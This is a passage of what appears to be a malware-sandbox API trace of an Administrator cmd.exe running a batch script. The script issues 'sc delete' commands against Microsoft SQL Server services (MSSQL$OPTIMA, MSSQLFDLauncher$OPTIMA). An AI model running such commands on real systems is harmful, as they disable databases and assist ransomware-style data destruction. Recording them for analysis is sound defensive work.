nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.978] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e320, cchWideChar=1 | out: lpWideCharStr="sc delete \"MSSQLFDLauncher$OPTIMA\"\n") returned 1 [0071.978] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.978] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.979] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.979] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e322, cchWideChar=1 | out: lpWideCharStr="c delete \"MSSQLFDLauncher$OPTIMA\"\n") returned 1 [0071.979] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.979] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.979] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.979] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e324, cchWideChar=1 | out: lpWideCharStr=" delete \"MSSQLFDLauncher$OPTIMA\"\n") returned 1 [0071.979] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.979] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.979] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.979] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e326, cchWideChar=1 | out: lpWideCharStr="delete \"MSSQLFDLauncher$OPTIMA\"\n") returned 1 [0071.979] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.979] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.979] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.979] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e328, cchWideChar=1 | out: lpWideCharStr="elete \"MSSQLFDLauncher$OPTIMA\"\n") returned 1 [0071.979] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.979] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.979] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.979] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32a, cchWideChar=1 | out: lpWideCharStr="lete \"MSSQLFDLauncher$OPTIMA\"\n") returned 1 [0071.979] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.979] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.980] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.980] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32c, cchWideChar=1 | out: lpWideCharStr="ete \"MSSQLFDLauncher$OPTIMA\"\n") returned 1 [0071.980] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.980] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.980] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.980] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32e, cchWideChar=1 | out: lpWideCharStr="te \"MSSQLFDLauncher$OPTIMA\"\n") returned 1 [0071.980] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.980] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.980] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.980] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e330, cchWideChar=1 | out: lpWideCharStr="e \"MSSQLFDLauncher$OPTIMA\"\n") returned 1 [0071.980] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.980] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.980] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.980] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e332, cchWideChar=1 | out: lpWideCharStr=" \"MSSQLFDLauncher$OPTIMA\"\n") returned 1 [0071.980] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.980] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.980] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.980] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e334, cchWideChar=1 | out: lpWideCharStr="\"MSSQLFDLauncher$OPTIMA\"\n") returned 1 [0071.980] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.980] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.981] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.981] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e336, cchWideChar=1 | out: lpWideCharStr="MSSQLFDLauncher$OPTIMA\"\n") returned 1 [0071.981] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.981] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.981] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.981] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e338, cchWideChar=1 | out: lpWideCharStr="SSQLFDLauncher$OPTIMA\"\n") returned 1 [0071.981] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.981] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.981] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.981] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33a, cchWideChar=1 | out: lpWideCharStr="SQLFDLauncher$OPTIMA\"\n") returned 1 [0071.981] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.981] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.981] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.981] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33c, cchWideChar=1 | out: lpWideCharStr="QLFDLauncher$OPTIMA\"\n") returned 1 [0071.981] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.981] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.981] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.981] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33e, cchWideChar=1 | out: lpWideCharStr="LFDLauncher$OPTIMA\"\n") returned 1 [0071.981] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.981] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.982] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.982] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e340, cchWideChar=1 | out: lpWideCharStr="$DLauncher$OPTIMA\"\n") returned 1 [0071.982] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.982] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.982] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.982] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e342, cchWideChar=1 | out: lpWideCharStr="OLauncher$OPTIMA\"\n") returned 1 [0071.982] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.982] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.982] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.982] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e344, cchWideChar=1 | out: lpWideCharStr="Pauncher$OPTIMA\"\n") returned 1 [0071.982] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.982] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.982] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.982] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e346, cchWideChar=1 | out: lpWideCharStr="Tuncher$OPTIMA\"\n") returned 1 [0071.982] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.982] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.982] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.982] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e348, cchWideChar=1 | out: lpWideCharStr="Incher$OPTIMA\"\n") returned 1 [0071.982] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.982] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.983] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.983] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34a, cchWideChar=1 | out: lpWideCharStr="Mcher$OPTIMA\"\n") returned 1 [0071.983] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.983] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.983] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.983] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34c, cchWideChar=1 | out: lpWideCharStr="Aher$OPTIMA\"\n") returned 1 [0071.983] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.983] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.983] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.983] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34e, cchWideChar=1 | out: lpWideCharStr="\"er$OPTIMA\"\n") returned 1 [0071.983] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.983] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.983] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.983] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e350, cchWideChar=1 | out: lpWideCharStr="\nr$OPTIMA\"\n") returned 1 [0071.983] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.983] GetFileType (hFile=0xb8) returned 0x3 [0071.983] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.983] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.983] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.983] GetFileType (hFile=0x120) returned 0x3 [0071.984] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.984] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete \"MSSQL$OPTIMA\"\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete \"MSSQL$OPTIMA\"\n", lpUsedDefaultChar=0x0) returned 26 [0071.984] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x19, lpNumberOfBytesWritten=0x2cf418, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf418*=0x19, lpOverlapped=0x0) returned 1 [0071.984] GetProcessHeap () returned 0x4a0000 [0071.984] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4012) returned 0x4c8630 [0071.984] GetProcessHeap () returned 0x4a0000 [0071.984] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c8630 | out: hHeap=0x4a0000) returned 1 [0071.984] GetProcessHeap () returned 0x4a0000 [0071.984] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0) returned 0x4c4660 [0071.984] GetProcessHeap () returned 0x4a0000 [0071.984] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x16) returned 0x4b89b0 [0071.984] GetProcessHeap () returned 0x4a0000 [0071.984] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x3e) returned 0x4baa40 [0071.984] GetConsoleOutputCP () returned 0x1b5 [0071.984] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0071.984] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0071.985] GetConsoleTitleW (in: lpConsoleTitle=0x2cf3d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0071.985] GetProcessHeap () returned 0x4a0000 [0071.985] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x218) returned 0x4b9910 [0071.985] GetProcessHeap () returned 0x4a0000 [0071.985] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x44) returned 0x4baa90 [0071.985] GetProcessHeap () returned 0x4a0000 [0071.985] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x420) returned 0x4bc5b0 [0071.985] SetErrorMode (uMode=0x0) returned 0x1 [0071.985] SetErrorMode (uMode=0x1) returned 0x0 [0071.985] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4bc5c0, lpFilePart=0x2cec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cec60*="Desktop") returned 0x25 [0071.985] SetErrorMode (uMode=0x1) returned 0x1 [0071.985] GetProcessHeap () returned 0x4a0000 [0071.985] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4bc5b0, Size=0x62) returned 0x4bc5b0 [0071.985] GetProcessHeap () returned 0x4a0000 [0071.986] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4bc5b0) returned 0x62 [0071.986] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0071.986] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0071.986] GetProcessHeap () returned 0x4a0000 [0071.986] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x128) returned 0x4b5b70 [0071.986] GetProcessHeap () returned 0x4a0000 [0071.986] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x240) returned 0x4a1ab0 [0071.986] GetProcessHeap () returned 0x4a0000 [0071.986] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4a1ab0, Size=0x12a) returned 0x4a1ab0 [0071.986] GetProcessHeap () returned 0x4a0000 [0071.986] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4a1ab0) returned 0x12a [0071.986] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0071.986] GetProcessHeap () returned 0x4a0000 [0071.986] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe8) returned 0x4b9b30 [0071.986] GetProcessHeap () returned 0x4a0000 [0071.986] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9b30, Size=0x7e) returned 0x4b9b30 [0071.986] GetProcessHeap () returned 0x4a0000 [0071.986] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9b30) returned 0x7e [0071.986] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0071.986] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0071.987] GetLastError () returned 0x2 [0071.987] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0071.987] GetLastError () returned 0x2 [0071.987] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0071.987] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0071.987] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0071.987] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0071.987] GetLastError () returned 0x2 [0071.987] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0071.988] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0071.988] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0071.988] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0071.988] GetConsoleTitleW (in: lpConsoleTitle=0x2cef20, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0071.988] GetProcessHeap () returned 0x4a0000 [0071.988] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x21c) returned 0x4b9180 [0071.988] GetConsoleTitleW (in: lpConsoleTitle=0x4b9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0071.988] GetProcessHeap () returned 0x4a0000 [0071.988] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9180, Size=0xaa) returned 0x4b9180 [0071.988] GetProcessHeap () returned 0x4a0000 [0071.988] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9180) returned 0xaa [0071.988] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete \"MSSQL$OPTIMA\"") returned 1 [0071.989] GetProcessHeap () returned 0x4a0000 [0071.989] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9180 | out: hHeap=0x4a0000) returned 1 [0071.989] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cecd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cec98 | out: lpAttributeList=0x2cecd8, lpSize=0x2cec98) returned 1 [0071.989] UpdateProcThreadAttribute (in: lpAttributeList=0x2cecd8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cec88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cecd8, lpPreviousValue=0x0) returned 1 [0071.989] GetStartupInfoW (in: lpStartupInfo=0x2cedf0 | out: lpStartupInfo=0x2cedf0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, 